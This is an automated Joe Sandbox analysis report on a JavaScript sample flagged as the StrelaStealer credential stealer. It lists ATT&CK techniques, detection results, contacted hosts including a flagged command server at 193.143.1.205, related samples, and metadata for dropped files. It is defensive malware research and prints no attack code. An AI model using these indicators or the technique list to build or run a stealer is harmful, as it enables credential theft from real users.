Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1907125702104121563.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/vH	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.26	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/vH	net.exe, 00000007.00000002.1437973498.000001BE77902000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2648399773.000001EAD9008000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1437973498.000001BE77902000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437973498.000001BE7792E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000007.00000002.1437973498.000001BE778D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1450963232.000001EAD9200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588540
Start date and time:	2025-01-11 02:12:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1907125702104121563.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.242.123, 2.22.242.11, 13.107.246.45, 20.12.23.50, 54.224.241.105, 23.206.229.209, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 1907125702104121563.js

Simulations

Behavior and APIs

Time	Type	Description
20:12:58	API Interceptor	29x Sleep call for process: powershell.exe modified
20:13:03	API Interceptor	1x Sleep call for process: net.exe modified
20:13:04	API Interceptor	2x Sleep call for process: svchost.exe modified
20:13:11	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	RdichqztBg.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	AraK29dzhH.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	YrCSUX2O3I.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.45
	uG3I84bQEr.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	Cpfkf79Rzk.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
	https://noiclethomas.wixsite.com/rice	Get hash	malicious	Unknown	Browse	13.107.246.45
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
bg.microsoft.map.fastly.net	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2314572873239327086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3048426634198639173.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1627923942308705884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1183413479481820270.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19500684172643252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49321184785589256
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaN:cJhXC9lHmutpJyiRDeJ/aUKrDgnmP
MD5:	795D50946D520B6D2C0B2E13B2656F92
SHA1:	8A2EAEF45AE49F38CC8B91DCF58D9F9D77422F3D
SHA-256:	446662AC605333CB0B10CC73A55DB4A1B5A49C1DFA255BEC2DAD8E3D044FF922
SHA-512:	FAD052BD2B3A53DD35DED79679D735669BBD315DAB7F2E0B2C8BFF8908C607601621406DC7A5F96F776963F5DFDB546634FB23F2EFF06AF7FA5C94F1A0257512
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x069763cd, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216717648586626
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:jazaNvFv8V2UW/DLzN/w4wZi
MD5:	07EEEBE820DCB11D9E6DE3D683F2A535
SHA1:	3001B4EE5A0A1C7F3EC31467A5C7F50C55D38C07
SHA-256:	65FAFE21C1A4839255C4D341E181B7AA3859E5FC1DA3A0F7428B86070E92EE4F
SHA-512:	E39755EBF74B005EBB2B88A25AE8B5B4FFD6E27D1561B70E6F2481654DA22F4F467A4652F13685B696673582BA780B85DA2AE79C9CDD4B126FB2D567B8E5B8FC
Malicious:	false
Preview:	..c.... ...............X\...;...{......................p.D..........{}......}5.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................'..).....}s..........................}S..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08122360806482135
Encrypted:	false
SSDEEP:	3:jmtyYeW+IgSw/fgsCrZClW/tUm/LltAll+SHY/Xl+/rQLve:eyz5IgSwfgs3GdTXAAS4M
MD5:	39C1B49AE6CC1EE095FF964EE5E1676A
SHA1:	CB429F6E1A52B50A784D82E10579CB2E76A1BE8E
SHA-256:	FB21635226E8BC0FE8F190FA02B068CB206487A3E28B0CA471EFE7E6E6AF4587
SHA-512:	670086CD8C3D99E01B2DADAD8457D4D8F2C36BF9D37C3BFB6941DA78D329D2F988F35713C2F3AAD40E831A50410340AC44B7CFB046EF15FDA69633929D265F41
Malicious:	false
Preview:	=..I.....................................;...{.......}S......{}..............{}......{}.vv_Q.....{}..........................}S.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.095414780388908
Encrypted:	false
SSDEEP:	6:iO4qV/AQuvIq2PqLTwi2nKuAl9OmbnIFUtSqV/A0aXZmwsqV/A0aFkwOqLTwi2nC:7n/AQuvIv8wZHAahFUtZ/A0q/L/A0W5t
MD5:	A94529369AF2F07A05BDB9EF5A9C6D0A
SHA1:	E7D4C9C6CF6301D748B34ECA8C19CC94E3B4050A
SHA-256:	907DC286B866D5908C6102CDF99132A40379EBEB9C2615E72BA1878CDA01E4A0
SHA-512:	6086B63B63E4C9664EEBFE9F285CDD7DFD33139FA7834868647261A36CD4CC30531C84AABFD7D139E83456B427BF93B6156E600514B5E7DB6B8916CB010E0993
Malicious:	false
Preview:	2025/01/10-20:13:03.955 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:13:03.959 1cc0 Recovering log #3.2025/01/10-20:13:03.959 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.095414780388908
Encrypted:	false
SSDEEP:	6:iO4qV/AQuvIq2PqLTwi2nKuAl9OmbnIFUtSqV/A0aXZmwsqV/A0aFkwOqLTwi2nC:7n/AQuvIv8wZHAahFUtZ/A0q/L/A0W5t
MD5:	A94529369AF2F07A05BDB9EF5A9C6D0A
SHA1:	E7D4C9C6CF6301D748B34ECA8C19CC94E3B4050A
SHA-256:	907DC286B866D5908C6102CDF99132A40379EBEB9C2615E72BA1878CDA01E4A0
SHA-512:	6086B63B63E4C9664EEBFE9F285CDD7DFD33139FA7834868647261A36CD4CC30531C84AABFD7D139E83456B427BF93B6156E600514B5E7DB6B8916CB010E0993
Malicious:	false
Preview:	2025/01/10-20:13:03.955 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:13:03.959 1cc0 Recovering log #3.2025/01/10-20:13:03.959 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.083879169603178
Encrypted:	false
SSDEEP:	6:iO4qV/7UX9+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSqV/7fKNJZmwsqV/7QeNVkwOA:7n/AX4v8wZHAa8uFUtZ/WNJ/L/8ez5Tn
MD5:	8D892189D3274AADA68500A0D5BFEBBD
SHA1:	F7D6FDC3A96FDC0A28264FB2F69697184448C180
SHA-256:	1580512AE81E9EB7A8AE6CFAAD205B14CC9866FEB5C8C7EF114D829070C2EFF0
SHA-512:	1344E1767856B181516F61E66F0CAE4B8BCF22D0D807D485C1E951EED47DBEF793D591E8F76C510CE417DEC4EAD9F74EBAA22303187DFBC84DE49935628E1BD0
Malicious:	false
Preview:	2025/01/10-20:13:04.001 ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:13:04.003 ec8 Recovering log #3.2025/01/10-20:13:04.004 ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.083879169603178
Encrypted:	false
SSDEEP:	6:iO4qV/7UX9+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSqV/7fKNJZmwsqV/7QeNVkwOA:7n/AX4v8wZHAa8uFUtZ/WNJ/L/8ez5Tn
MD5:	8D892189D3274AADA68500A0D5BFEBBD
SHA1:	F7D6FDC3A96FDC0A28264FB2F69697184448C180
SHA-256:	1580512AE81E9EB7A8AE6CFAAD205B14CC9866FEB5C8C7EF114D829070C2EFF0
SHA-512:	1344E1767856B181516F61E66F0CAE4B8BCF22D0D807D485C1E951EED47DBEF793D591E8F76C510CE417DEC4EAD9F74EBAA22303187DFBC84DE49935628E1BD0
Malicious:	false
Preview:	2025/01/10-20:13:04.001 ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:13:04.003 ec8 Recovering log #3.2025/01/10-20:13:04.004 ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.976083759057505
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlEsBdOg2H5caq3QYiub5P7E4T3y:Y2sRdsOdMHA3QYhbt7nby
MD5:	05C2381CA8679091E63C0AE63C1A9E20
SHA1:	B11ADD6A0979D6DF3A008A4D68FCCE7B97597C0C
SHA-256:	40A2B4D8FB3246186B38FB91AAD14E5326D75E69AD21A138A3A755D2ED4974F0
SHA-512:	8274CA541EE3A4885D518BC3628C7F459207B9AD7BCF56DF4A30738D6B533E7802ABA2A2E778951E4F0A49B8618DC3C83F2A3391145A0DBE5BBF51B896C6BFC9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117995007069","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":120462},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eac14860-8820-4160-a516-58c4e43243cf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.976083759057505
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlEsBdOg2H5caq3QYiub5P7E4T3y:Y2sRdsOdMHA3QYhbt7nby
MD5:	05C2381CA8679091E63C0AE63C1A9E20
SHA1:	B11ADD6A0979D6DF3A008A4D68FCCE7B97597C0C
SHA-256:	40A2B4D8FB3246186B38FB91AAD14E5326D75E69AD21A138A3A755D2ED4974F0
SHA-512:	8274CA541EE3A4885D518BC3628C7F459207B9AD7BCF56DF4A30738D6B533E7802ABA2A2E778951E4F0A49B8618DC3C83F2A3391145A0DBE5BBF51B896C6BFC9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117995007069","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":120462},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.223520488276824
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzeeW6/at:1CDLCmPj8j0/8qKgwPHYPx8xemT8Ozer
MD5:	75ADC12E1D64C7CD3E6D3574B40C37F9
SHA1:	7243AB4B998A25DC368A21EFF1CFED4E727332AF
SHA-256:	F79C90AAF62C58E7464D27367063FAD614FA342BC93B559699B229A54E4DED55
SHA-512:	39BC0553F70AD42B36976C602E0CD4F913CC19D5C3F0445C3455F8250F7A943CB7D43D5066ECD3B4A716F061F08089CF96542A85AC7F1C7E881F8B94BE1BDE96
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.171419710080881
Encrypted:	false
SSDEEP:	6:iO4qV/7Ist+q2PqLTwi2nKuAl9OmbzNMxIFUtSqV/7GLZZmwsqV/7GpNVkwOqLTQ:7n/8sov8wZHAa8jFUtZ/G/L/Ez5TwZHP
MD5:	E609E3561F11EB2CF44682CA94BB40E8
SHA1:	22FFC87DB13251CFDF944D83D8E5BF591381E0AE
SHA-256:	DD26896D04DE9B2C6A936A67BED05ECB065EFC3E7DC7367ECE124974AFF96924
SHA-512:	F449A4D177543699A982A452C52B2176117EFCBC2A7B0D50431544DA07E4DFB21AFC6AA6AC7B2BAD3AF5566E6836450EA8A311A92EAF62152F7A3F000A402C9F
Malicious:	false
Preview:	2025/01/10-20:13:04.475 ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:13:04.490 ec8 Recovering log #3.2025/01/10-20:13:04.496 ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.171419710080881
Encrypted:	false
SSDEEP:	6:iO4qV/7Ist+q2PqLTwi2nKuAl9OmbzNMxIFUtSqV/7GLZZmwsqV/7GpNVkwOqLTQ:7n/8sov8wZHAa8jFUtZ/G/L/Ez5TwZHP
MD5:	E609E3561F11EB2CF44682CA94BB40E8
SHA1:	22FFC87DB13251CFDF944D83D8E5BF591381E0AE
SHA-256:	DD26896D04DE9B2C6A936A67BED05ECB065EFC3E7DC7367ECE124974AFF96924
SHA-512:	F449A4D177543699A982A452C52B2176117EFCBC2A7B0D50431544DA07E4DFB21AFC6AA6AC7B2BAD3AF5566E6836450EA8A311A92EAF62152F7A3F000A402C9F
Malicious:	false
Preview:	2025/01/10-20:13:04.475 ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:13:04.490 ec8 Recovering log #3.2025/01/10-20:13:04.496 ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438166159286668
Encrypted:	false
SSDEEP:	384:ye+ci5GZiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:p1urVgazUpUTTGt
MD5:	7FEE205A6120E94AD89E0057B5FDA2A1
SHA1:	2B04C783DF3CA2947C41BC696D770AED3934DC41
SHA-256:	2634477329433AA3DF349C6D3C921404F3967668FA67AE4D677625D00E5E5662
SHA-512:	899B840E6443CA81883F1A16BFBF40CDA9EC465AEC7341E9C0A661A97ADA545D8E018843FEC63BD00C78EBEE8EB2D8E6DC895021172DCE835E843A7F0CD4968E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.765796051313186
Encrypted:	false
